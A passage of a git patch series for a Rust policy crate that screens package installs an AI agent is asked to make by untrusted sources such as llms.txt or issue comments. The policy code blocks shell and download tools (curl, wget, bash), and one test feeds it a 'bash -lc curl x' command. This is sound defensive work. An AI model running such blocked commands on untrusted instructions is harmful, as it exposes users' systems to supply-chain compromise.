name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Claimed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// Provenance of the instruction that requested the install. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstructionSource { + /// Untrusted source category. + pub kind: InstructionSourceKind, + /// Canonical source URI when available. + pub uri: Option, + /// SHA-256 digest of the retrieved source content. + pub content_sha256: Option, +} + +/// Untrusted instruction source kinds. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum InstructionSourceKind { + /// `llms.txt` retrieved from a remote origin. + LlmsTxt, + /// `llms-full.txt` retrieved from a remote origin. + LlmsFullTxt, + /// Arbitrary web page content. + WebPage, + /// Issue or PR comment content. + IssueComment, + /// Local reviewed manifest or operator-entered content. + ReviewedConfig, +} + +/// Structured install request evaluated before any executor runs it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstallIntent { + /// Stable request identifier supplied by the caller. + pub request_id: String, + /// Identity of the requesting agent or broker. + pub actor_id: String, + /// Workspace or repository identifier. + pub workspace_id: String, + /// Structured operation, limited to install in this slice. + pub operation: String, + /// Tokenized command vector; shell strings are forbidden upstream. + pub argv: Vec, + /// Exact reviewed dependency-manifest digest for the workspace. + pub manifest_sha256: String, + /// Instruction provenance. + pub source: InstructionSource, + /// Exact install artifacts represented in `argv`. + pub artifacts: Vec, +} + +impl InstallIntent { + /// Test helper representing an untrusted `llms.txt` package suggestion. + pub fn unowned_llms_package_for_test() -> Self { + Self { + request_id: "req-test-0001".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::LlmsTxt, + uri: Some("https://example.invalid/llms.txt".to_string()), + content_sha256: Some( + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + ), + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }], + } + } +} + +/// Deterministic allow/block result returned to the caller. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionDecision { + /// Original caller request identifier. + pub request_id: String, + /// Final policy decision. + pub decision: DecisionKind, + /// Stable machine-readable block reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Stable policy revision. + pub policy_revision: String, + /// Normalized source URI when present. + pub normalized_source_uri: Option, + /// SHA-256 of the structured command vector. + pub command_sha256: String, + /// Number of artifacts the caller asked to install. + pub artifact_count: usize, +} + +/// Admission outcome. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum DecisionKind { + /// The command exactly matches policy. + Allow, + /// The command must not be executed. + Block, +} + +impl DecisionKind { + /// Stable string form used by tests and callers that do not deserialize. + pub fn as_str(self) -> &'static str { + match self { + Self::Allow => "allow", + Self::Block => "block", + } + } +} + +/// Stable machine-readable block reason. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ReasonCode { + /// No exact approved artifact matched the requested install. + ArtifactNotApproved, + /// No reviewed manifest matched the workspace digest. + ManifestNotApproved, + /// The executable is not on the explicit allowlist. + ExecutableNotAllowed, + /// The request omitted an executable. + MissingExecutable, +} + +impl ReasonCode { + /// Stable string form used by tests and audit sinks. + pub fn as_str(self) -> &'static str { + match self { + Self::ArtifactNotApproved => "artifact_not_approved", + Self::ManifestNotApproved => "manifest_not_approved", + Self::ExecutableNotAllowed => "executable_not_allowed", + Self::MissingExecutable => "missing_executable", + } + } +} diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs new file mode 100644 index 00000000..a3848eb1 --- /dev/null +++ b/crates/agent-artifact-admission/src/policy.rs @@ -0,0 +1,96 @@ +use crate::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, + InstallIntent, ReasonCode, +}; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { + let mut reason_codes = Vec::new(); + match intent.argv.first() { + Some(executable) + if policy + .allowed_executables + .iter() + .any(|allowed| allowed == executable) => {} + Some(_) => reason_codes.push(ReasonCode::ExecutableNotAllowed), + None => reason_codes.push(ReasonCode::MissingExecutable), + } + + if !policy.approved_manifests.iter().any(|manifest| { + manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 + }) { + reason_codes.push(ReasonCode::ManifestNotApproved); + } + + if intent.artifacts.is_empty() + || intent + .artifacts + .iter() + .any(|artifact| !artifact_is_approved(artifact, intent, policy)) + { + reason_codes.push(ReasonCode::ArtifactNotApproved); + } + + let decision = if reason_codes.is_empty() { + DecisionKind::Allow + } else { + DecisionKind::Block + }; + AdmissionDecision { + request_id: intent.request_id.clone(), + decision, + reason_codes, + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: intent.source.uri.clone(), + command_sha256: sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + artifact_count: intent.artifacts.len(), + } +} + +fn artifact_is_approved( + artifact: &ArtifactCoordinate, + intent: &InstallIntent, + policy: &AdmissionPolicy, +) -> bool { + if intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + { + return false; + } + policy.approved_artifacts.iter().any(|approved| { + exact_artifact_match(approved, artifact) + && approved.artifact_argument == artifact.artifact_argument + }) +} + +fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordinate) -> bool { + approved.ecosystem == artifact.ecosystem + && approved.name == artifact.name + && approved.version == artifact.version + && approved.registry_url == artifact.registry_url + && approved.owner == artifact.owner + && approved.sha256 == artifact.sha256 +} + +/// Return `true` when `value` is a lowercase hexadecimal SHA-256 digest. +pub fn is_sha256_hex(value: &str) -> bool { + value.len() == 64 + && value.as_bytes().iter().all(u8::is_ascii_hexdigit) + && value == value.to_ascii_lowercase() +} + +/// Hex-encode the SHA-256 digest of `input`. +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + let mut output = String::with_capacity(64); + for byte in digest.as_ref() { + use std::fmt::Write as _; + let _ = write!(&mut output, "{byte:02x}"); + } + output +} diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs new file mode 100644 index 00000000..d5a9ce40 --- /dev/null +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -0,0 +1,119 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, admission_decision, is_sha256_hex, sha256_hex, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision.as_str(), "block"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn exact_policy_match_is_allowed() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.policy_id, "enterprise-default"); + assert_eq!(decision.policy_revision, "2026-08-28.1"); +} + +#[test] +fn duplicate_artifact_argument_blocks() { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent + .argv + .push(intent.artifacts[0].artifact_argument.clone()); + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn sha256_helpers_match_known_vectors() { + assert!(is_sha256_hex( + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + )); + assert!(!is_sha256_hex("ABC")); + assert_eq!( + sha256_hex(b""), + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ); + assert_eq!( + sha256_hex(b"abc"), + "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" + ); +} + +#[test] +fn artifact_coordinates_round_trip_with_strict_json() { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + + let encoded = serde_json::to_string(&artifact).unwrap(); + let decoded: ArtifactCoordinate = serde_json::from_str(&encoded).unwrap(); + assert_eq!(decoded, artifact); + assert!(serde_json::from_str::( + r#"{"ecosystem":"npm","name":"@cwl/example","version":"1.2.3","registry_url":"https://registry.npmjs.org","owner":"ContextualWisdomLab","sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","artifact_argument":"@cwl/example@1.2.3","extra":true}"# + ) + .is_err()); +} From 30df4f9b2ca95a11bc50ba67fd17c9fde78820b7 Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Fri, 28 Aug 2026 20:03:54 +0900 Subject: [PATCH 004/247] feat(security): harden agent artifact admission policy --- Cargo.lock | 1 + crates/agent-artifact-admission/Cargo.toml | 1 + crates/agent-artifact-admission/src/model.rs | 15 +++ crates/agent-artifact-admission/src/policy.rs | 126 +++++++++++++++++- .../tests/admission_contract.rs | 117 +++++++++++++++- 5 files changed, 255 insertions(+), 5 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 153312b3..7861539d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1385,6 +1385,7 @@ dependencies = [ "ring", "serde", "serde_json", + "url", ] [[package]] diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index 9ed7e5c2..71c26bc8 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -8,6 +8,7 @@ license = "MIT" [dependencies] ring = "0.17" serde = { version = "1", features = ["derive"] } +url = "2" [dev-dependencies] serde_json = "1" diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index cf90dace..39d420f8 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -223,6 +223,16 @@ pub enum ReasonCode { ExecutableNotAllowed, /// The request omitted an executable. MissingExecutable, + /// The request omitted a required remote source URI. + MissingSourceUri, + /// The request omitted a required source content digest. + MissingSourceDigest, + /// The request used an insecure or malformed source URI. + InvalidSourceUri, + /// The command path is forbidden even if otherwise allowlisted. + ForbiddenCommand, + /// The package manager invocation omitted a mandatory hardening flag. + MissingSafetyFlag, } impl ReasonCode { @@ -233,6 +243,11 @@ impl ReasonCode { Self::ManifestNotApproved => "manifest_not_approved", Self::ExecutableNotAllowed => "executable_not_allowed", Self::MissingExecutable => "missing_executable", + Self::MissingSourceUri => "missing_source_uri", + Self::MissingSourceDigest => "missing_source_digest", + Self::InvalidSourceUri => "invalid_source_uri", + Self::ForbiddenCommand => "forbidden_command", + Self::MissingSafetyFlag => "missing_safety_flag", } } } diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index a3848eb1..0bdda9d9 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -1,7 +1,8 @@ use crate::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, - InstallIntent, ReasonCode, + InstallIntent, InstructionSourceKind, ReasonCode, }; +use url::Url; /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { @@ -16,10 +17,14 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A None => reason_codes.push(ReasonCode::MissingExecutable), } + validate_source(intent, &mut reason_codes); + validate_command_path(intent, &mut reason_codes); + validate_safety_flags(intent, &mut reason_codes); + if !policy.approved_manifests.iter().any(|manifest| { manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 }) { - reason_codes.push(ReasonCode::ManifestNotApproved); + push_reason(&mut reason_codes, ReasonCode::ManifestNotApproved); } if intent.artifacts.is_empty() @@ -28,7 +33,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A .iter() .any(|artifact| !artifact_is_approved(artifact, intent, policy)) { - reason_codes.push(ReasonCode::ArtifactNotApproved); + push_reason(&mut reason_codes, ReasonCode::ArtifactNotApproved); } let decision = if reason_codes.is_empty() { @@ -42,12 +47,63 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A reason_codes, policy_id: policy.policy_id.clone(), policy_revision: policy.policy_revision.clone(), - normalized_source_uri: intent.source.uri.clone(), + normalized_source_uri: normalized_source_uri(intent), command_sha256: sha256_hex(intent.argv.join("\u{1f}").as_bytes()), artifact_count: intent.artifacts.len(), } } +fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { + if !requires_remote_source_validation(intent.source.kind) { + return; + } + + match intent.source.uri.as_deref() { + Some(uri) if is_valid_remote_source_uri(uri) => {} + Some(_) => push_reason(reason_codes, ReasonCode::InvalidSourceUri), + None => push_reason(reason_codes, ReasonCode::MissingSourceUri), + } + + if !intent + .source + .content_sha256 + .as_deref() + .is_some_and(crate::is_sha256_hex) + { + push_reason(reason_codes, ReasonCode::MissingSourceDigest); + } +} + +fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + if is_forbidden_executable(executable) || requests_inline_eval(executable, &intent.argv[1..]) { + push_reason(reason_codes, ReasonCode::ForbiddenCommand); + } +} + +fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let args = &intent.argv[1..]; + let missing = match executable { + "npm" | "pnpm" | "yarn" | "bun" => !args.iter().any(|arg| arg == "--ignore-scripts"), + "pip" | "pip3" => !args.iter().any(|arg| arg == "--require-hashes"), + "cargo" if args.first().is_some_and(|arg| arg == "install") => { + !args.iter().any(|arg| arg == "--locked") + } + "uv" if args.first().is_some_and(|arg| arg == "pip") => { + !args.iter().any(|arg| arg == "--require-hashes") + } + _ => false, + }; + if missing { + push_reason(reason_codes, ReasonCode::MissingSafetyFlag); + } +} + fn artifact_is_approved( artifact: &ArtifactCoordinate, intent: &InstallIntent, @@ -68,6 +124,68 @@ fn artifact_is_approved( }) } +fn requires_remote_source_validation(kind: InstructionSourceKind) -> bool { + matches!( + kind, + InstructionSourceKind::LlmsTxt + | InstructionSourceKind::LlmsFullTxt + | InstructionSourceKind::WebPage + | InstructionSourceKind::IssueComment + ) +} + +fn normalized_source_uri(intent: &InstallIntent) -> Option { + let uri = intent.source.uri.as_deref()?; + let mut url = Url::parse(uri).ok()?; + url.set_query(None); + url.set_fragment(None); + Some(url.to_string()) +} + +fn is_valid_remote_source_uri(uri: &str) -> bool { + let Ok(url) = Url::parse(uri) else { + return false; + }; + url.scheme() == "https" + && url.username().is_empty() + && url.password().is_none() + && url.host_str().is_some() +} + +fn is_forbidden_executable(executable: &str) -> bool { + matches!( + executable, + "sh" | "bash" + | "zsh" + | "cmd" + | "powershell" + | "pwsh" + | "curl" + | "wget" + | "aria2c" + | "ftp" + | "scp" + | "npx" + | "pnpx" + | "bunx" + ) +} + +fn requests_inline_eval(executable: &str, args: &[String]) -> bool { + matches!( + executable, + "python" | "python3" | "node" | "ruby" | "perl" | "php" + ) && args + .iter() + .any(|arg| matches!(arg.as_str(), "-c" | "-e" | "--eval" | "--execute")) +} + +fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { + if !reason_codes.contains(&reason) { + reason_codes.push(reason); + } +} + fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordinate) -> bool { approved.ecosystem == artifact.ecosystem && approved.name == artifact.name diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs index d5a9ce40..30965395 100644 --- a/crates/agent-artifact-admission/tests/admission_contract.rs +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, admission_decision, is_sha256_hex, sha256_hex, + InstallIntent, InstructionSourceKind, admission_decision, is_sha256_hex, sha256_hex, }; #[test] @@ -117,3 +117,118 @@ fn artifact_coordinates_round_trip_with_strict_json() { ) .is_err()); } + +#[test] +fn remote_sources_require_https_uri_and_digest() { + let mut policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + policy.approved_artifacts[0].owner = "Unowned".to_string(); + intent.source.uri = Some("http://example.invalid/llms.txt?raw=1#frag".to_string()); + intent.source.content_sha256 = None; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "invalid_source_uri") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_source_digest") + ); +} + +#[test] +fn forbidden_commands_block_even_when_allowlisted() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["bash".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + let intent = InstallIntent { + request_id: "req-test-0002".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["bash".to_string(), "-lc".to_string(), "curl x".to_string()], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: wardnet_agent_artifact_admission::InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "shell".to_string(), + name: "bash".to_string(), + version: "5.0.0".to_string(), + registry_url: "https://example.invalid".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "bash".to_string(), + }], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + +#[test] +fn npm_installs_require_ignore_scripts_and_source_uri_is_normalized() { + let policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + ]; + intent.source.uri = Some("https://example.invalid/llms.txt?raw=1#frag".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag") + ); +} + +fn approved_policy_for_test() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} From b82edf2dbbf205dda0dc8c84fbdd0a321d9990d4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:33:03 -0700 Subject: [PATCH 005/247] test(security): lock admission audit durability contract --- .../tests/audit_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/audit_contract.rs diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs new file mode 100644 index 00000000..14dba85d --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -0,0 +1,120 @@ +use std::fs; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditSink, FileAuditSink, InstallIntent, MemoryAuditSink, admission_decision, + build_audit_record, +}; + +fn sensitive_blocked_attempt() -> ( + InstallIntent, + wardnet_agent_artifact_admission::AdmissionDecision, +) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv.push("sk-test-secret-raw-command".to_string()); + intent.source.uri = Some( + "https://example.invalid/llms.txt?token=sk-test-secret-query#secret-fragment".to_string(), + ); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + (intent, decision) +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after the Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}.ndjson", + std::process::id() + )) +} + +#[test] +fn audit_record_minimizes_untrusted_command_and_source_data() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let json = serde_json::to_string(&record).expect("audit record must serialize"); + + assert!(record.timestamp_unix_ms > 0); + assert_eq!(record.request_id, intent.request_id); + assert_eq!(record.actor_id, intent.actor_id); + assert_eq!(record.workspace_id, intent.workspace_id); + assert_eq!(record.operation, "install"); + assert_eq!(record.command_sha256, decision.command_sha256); + assert_eq!( + record.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert_eq!(record.artifacts.len(), 1); + assert_eq!(record.artifacts[0].name, "@unowned/example"); + assert_eq!( + record.artifacts[0].sha256, + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + ); + + assert!(!json.contains("sk-test-secret-raw-command")); + assert!(!json.contains("sk-test-secret-query")); + assert!(!json.contains("secret-fragment")); + assert!(!json.contains("artifact_argument")); + assert!(!json.contains("\"argv\"")); +} + +#[test] +fn memory_sink_preserves_complete_records_in_append_order() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = MemoryAuditSink::default(); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let records = sink.records().expect("memory audit snapshot must succeed"); + assert_eq!(records, vec![record.clone(), record]); +} + +#[test] +fn file_sink_appends_complete_synchronized_ndjson_records() { + let path = temp_path("append"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path.clone()); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let body = fs::read_to_string(&path).expect("audit file must be readable"); + let lines: Vec<_> = body.lines().collect(); + assert_eq!(lines.len(), 2); + for line in lines { + let parsed: serde_json::Value = + serde_json::from_str(line).expect("each audit line must be complete JSON"); + assert_eq!(parsed["request_id"], intent.request_id); + } + + let _ = fs::remove_file(path); +} + +#[test] +fn file_sink_rejects_oversized_serialized_record_without_writing() { + let path = temp_path("oversized"); + let (mut intent, decision) = sensitive_blocked_attempt(); + intent.actor_id = "x".repeat(70 * 1024); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path.clone()); + + assert!(sink.append(&record).is_err()); + assert!(!path.exists()); +} + +#[test] +fn file_sink_reports_deterministic_storage_failure() { + let path = temp_path("missing-parent") + .with_extension("") + .join("audit.ndjson"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path); + + assert!(sink.append(&record).is_err()); +} From 68a3ae3edfa2f2e98003962c363f0f2d1fc05489 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:15 -0700 Subject: [PATCH 006/247] feat(security): add minimized admission audit sinks --- crates/agent-artifact-admission/src/audit.rs | 222 +++++++++++++++++++ 1 file changed, 222 insertions(+) create mode 100644 crates/agent-artifact-admission/src/audit.rs diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs new file mode 100644 index 00000000..4ca5f390 --- /dev/null +++ b/crates/agent-artifact-admission/src/audit.rs @@ -0,0 +1,222 @@ +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::{self, Write}; +use std::path::{Path, PathBuf}; +use std::sync::Mutex; +use std::time::{SystemTime, UNIX_EPOCH}; + +use serde::{Deserialize, Serialize}; + +use crate::{ + AdmissionDecision, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, + ReasonCode, +}; + +const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; + +/// Minimized content-addressed artifact identity persisted in audit evidence. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Reviewed normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, +} + +impl From<&ArtifactCoordinate> for AuditArtifact { + fn from(artifact: &ArtifactCoordinate) -> Self { + Self { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + } + } +} + +/// Durable, minimized evidence for one authenticated admission attempt. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditRecord { + /// Milliseconds since the Unix epoch when the record was constructed. + pub timestamp_unix_ms: u128, + /// Caller-supplied stable request identifier. + pub request_id: String, + /// Identity of the requesting agent or broker. + pub actor_id: String, + /// Workspace or repository identifier. + pub workspace_id: String, + /// Structured operation, such as `install`. + pub operation: String, + /// Final fail-closed decision. + pub decision: DecisionKind, + /// Stable machine-readable decision reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Instruction-source kind without untrusted raw content. + pub source_kind: InstructionSourceKind, + /// Source URI after 